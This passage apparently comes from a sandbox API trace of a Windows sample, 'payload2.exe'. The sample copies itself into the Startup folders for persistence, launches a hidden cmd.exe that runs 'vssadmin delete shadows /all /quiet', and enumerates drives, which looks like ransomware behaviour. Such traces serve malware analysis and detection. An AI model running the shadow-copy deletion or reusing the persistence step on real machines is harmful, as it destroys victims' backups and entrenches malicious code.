dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0031.005] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0031.007] ReadFile (in: hFile=0xe4, lpBuffer=0x1fc0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1fc0020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0031.028] WriteFile (in: hFile=0xe8, lpBuffer=0x1fc0020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1fc0020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0031.030] ReadFile (in: hFile=0xe4, lpBuffer=0x1fc0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1fc0020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0031.030] CloseHandle (hObject=0xe8) returned 1 [0031.031] CloseHandle (hObject=0xe4) returned 1 [0031.031] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x254a38 [0031.031] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x254a38, Size=0x20) returned 0x2558e8 [0031.031] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x254a38 [0031.031] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x254a38, Size=0x20) returned 0x255938 [0031.031] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0031.031] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0031.031] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0031.031] lstrlenW (lpString="kernel32.dll") returned 12 [0031.031] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255938 | out: hHeap=0x220000) returned 1 [0031.031] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0031.031] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2558e8 | out: hHeap=0x220000) returned 1 [0031.031] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x1fc0020 | out: hHeap=0x220000) returned 1 [0031.036] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x27d440 [0031.036] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x28d448 [0031.036] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x254a38 [0031.036] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x254a38, Size=0x20) returned 0x2558e8 [0031.036] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2558e8, Size=0x40) returned 0x256a40 [0031.036] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x256a40, Size=0x80) returned 0x27b458 [0031.036] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x27b458, Size=0x100) returned 0x257bb8 [0031.036] lstrlenW (lpString="") returned 0 [0031.036] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0031.036] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8c) returned 0x257cc0 [0031.036] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0031.036] RegQueryValueExW (in: hKey=0xe4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x28d448, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x78) returned 0x0 [0031.036] RegCloseKey (hKey=0xe4) returned 0x0 [0031.036] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x257cc0 | out: hHeap=0x220000) returned 1 [0031.036] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0031.036] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0031.037] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x257bb8 | out: hHeap=0x220000) returned 1 [0031.037] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe", lpDst=0x27d440, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe") returned 0x4a [0031.037] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x28d448 | out: hHeap=0x220000) returned 1 [0031.037] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x27d440 | out: hHeap=0x220000) returned 1 [0031.037] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x100000) returned 0x1fc0020 [0031.037] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x254a38 [0031.037] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x254a38, Size=0x20) returned 0x2558e8 [0031.037] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x254a38 [0031.037] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x254a38, Size=0x20) returned 0x255938 [0031.037] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0031.037] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0031.037] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0031.037] lstrlenW (lpString="kernel32.dll") returned 12 [0031.037] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2558e8 | out: hHeap=0x220000) returned 1 [0031.037] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0031.037] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255938 | out: hHeap=0x220000) returned 1 [0031.037] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\payload2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\payload2.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0031.037] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0031.039] ReadFile (in: hFile=0xe4, lpBuffer=0x1fc0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1fc0020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0031.051] WriteFile (in: hFile=0xe8, lpBuffer=0x1fc0020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1fc0020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0031.053] ReadFile (in: hFile=0xe4, lpBuffer=0x1fc0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1fc0020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0031.053] CloseHandle (hObject=0xe8) returned 1 [0031.055] CloseHandle (hObject=0xe4) returned 1 [0031.055] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x254a38 [0031.055] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x254a38, Size=0x20) returned 0x255938 [0031.055] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x254a38 [0031.055] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x254a38, Size=0x20) returned 0x2558e8 [0031.055] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0031.055] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0031.055] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0031.055] lstrlenW (lpString="kernel32.dll") returned 12 [0031.055] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2558e8 | out: hHeap=0x220000) returned 1 [0031.055] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0031.055] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255938 | out: hHeap=0x220000) returned 1 [0031.055] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x1fc0020 | out: hHeap=0x220000) returned 1 [0031.060] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x25b430 | out: hHeap=0x220000) returned 1 [0031.060] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26b438 | out: hHeap=0x220000) returned 1 [0031.060] lstrlenW (lpString="%windir%\\System32") returned 17 [0031.060] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2569b0 | out: hHeap=0x220000) returned 1 [0031.060] lstrlenW (lpString="%appdata%") returned 9 [0031.060] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2343a0 | out: hHeap=0x220000) returned 1 [0031.060] lstrlenW (lpString="%sh(Startup)%") returned 13 [0031.060] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x234378 | out: hHeap=0x220000) returned 1 [0031.060] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0031.060] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2569f8 | out: hHeap=0x220000) returned 1 [0031.060] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x254a38 [0031.060] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x254a38, Size=0x20) returned 0x234378 [0031.060] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234378, Size=0x40) returned 0x2569f8 [0031.060] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2569f8, Size=0x80) returned 0x27b458 [0031.060] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x254a38 [0031.060] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x254a38, Size=0x20) returned 0x234378 [0031.060] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x1fffc) returned 0x25b430 [0031.060] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x27d440 [0031.060] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x28d448 [0031.060] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x254a38 [0031.060] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x254a38, Size=0x20) returned 0x2343a0 [0031.060] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2343a0, Size=0x40) returned 0x2569f8 [0031.060] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2569f8, Size=0x80) returned 0x27b4e0 [0031.060] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x27b4e0, Size=0x100) returned 0x257bb8 [0031.060] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0031.060] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x257bb8 | out: hHeap=0x220000) returned 1 [0031.060] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x27d440, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0031.060] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x28d448 | out: hHeap=0x220000) returned 1 [0031.060] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x27d440 | out: hHeap=0x220000) returned 1 [0031.060] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0xe8, hWritePipe=0x18fd5c*=0xec) returned 1 [0031.061] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0xf0, hWritePipe=0x18fdcc*=0xf4) returned 1 [0031.061] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1 [0031.061] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1 [0031.061] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0xfc, hThread=0xf8, dwProcessId=0x940, dwThreadId=0x944)) returned 1 [0031.257] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0031.257] WriteFile (in: hFile=0xec, lpBuffer=0x27b458*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x27b458*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1 [0031.258] CloseHandle (hObject=0xfc) returned 1 [0031.258] CloseHandle (hObject=0xf8) returned 1 [0031.258] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x25b430 | out: hHeap=0x220000) returned 1 [0031.258] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0031.258] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x27b458 | out: hHeap=0x220000) returned 1 [0031.258] lstrlenW (lpString="%comspec%") returned 9 [0031.258] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x234378 | out: hHeap=0x220000) returned 1 [0031.258] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8 [0031.258] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x254a38 [0031.258] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x254a38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc [0031.259] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x2347b0 [0031.259] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x2347b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104 [0031.260] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x254a50 [0031.260] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x254a50, Size=0x20) returned 0x234378 [0031.260] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234378, Size=0x40) returned 0x2569f8 [0031.260] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0031.260] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xd0) returned 0x257c30 [0031.260] GetLogicalDrives () returned 0x4 [0031.260] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10014) returned 0x25b430 [0031.260] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x254a50 [0031.260] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x254a50, Size=0x20) returned 0x234378 [0031.260] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234378, Size=0x40) returned 0x256a88 [0031.260] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x256a88, Size=0x80) returned 0x27b458 [0031.260] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x27b458, Size=0x100) returned 0x2591a0 [0031.260] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2591a0, Size=0x200) returned 0x2591a0 [0031.260] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2591a0, Size=0x400) returned 0x2591a0 [0031.260] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2591a0, Size=0x800) returned 0x2597b8 [0031.260] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2597b8, Size=0x1000) returned 0x26b450 [0031.260] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10000) returned 0x27d440 [0031.260] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x254a50 [0031.260] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x254b28 [0031.260] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x4) returned 0x234758 [0031.260] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x254b40 [0031.260] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x4) returned 0x234768 [0031.260] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x254b58 [0031.260] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234768, Size=0x8) returned 0x234768 [0031.260] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x254b70 [0031.260] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234768, Size=0x10) returned 0x234720 [0031.260] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x254b88 [0031.260] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x254ba0 [0031.260] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234720, Size=0x20) returned 0x257ab8 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x254bb8 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x234768 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xe) returned 0x254bd0 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xe) returned 0x254be8 [0031.261] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x257ab8, Size=0x40) returned 0x2552e0 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xe) returned 0x254c00 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xe) returned 0x254c18 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xe) returned 0x254c30 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xe) returned 0x254c48 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x254c60 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x254c78 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x255328 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x254c90 [0031.261] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2552e0, Size=0x80) returned 0x2591a0 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x254ca8 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x254cc0 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x254cd8 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x254cf0 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x2597d0 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x2597e8 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259800 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x234720 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259818 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259830 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x259848 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259860 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x259878 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259890 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x2598a8 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x2598c0 [0031.261] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2591a0, Size=0x100) returned 0x2591a0 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x2598d8 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x2598f0 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259908 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x259920 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259938 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259950 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x234730 [0031.261] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259968 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259980 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259998 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x6) returned 0x257ab8 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x2599b0 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x2599c8 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x257ac8 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x2599e0 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x2599f8 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x259a10 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259a28 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259a40 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259a58 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xe) returned 0x259a70 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259a88 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x259aa0 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259ab8 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259ad0 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259ae8 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259b00 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x257ad8 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259b18 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259b30 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259b48 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259b60 [0031.262] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2591a0, Size=0x200) returned 0x2591a0 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259b78 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x2552e0 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259b90 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259bd0 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259be8 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259c00 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259c18 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259c30 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259c48 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259c60 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259c78 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x259c90 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x259ca8 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259cc0 [0031.262] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259cd8 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x259cf0 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x259d08 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259d20 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x259d38 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x259d50 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259d68 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259d80 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259d98 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x2552f0 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259db0 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 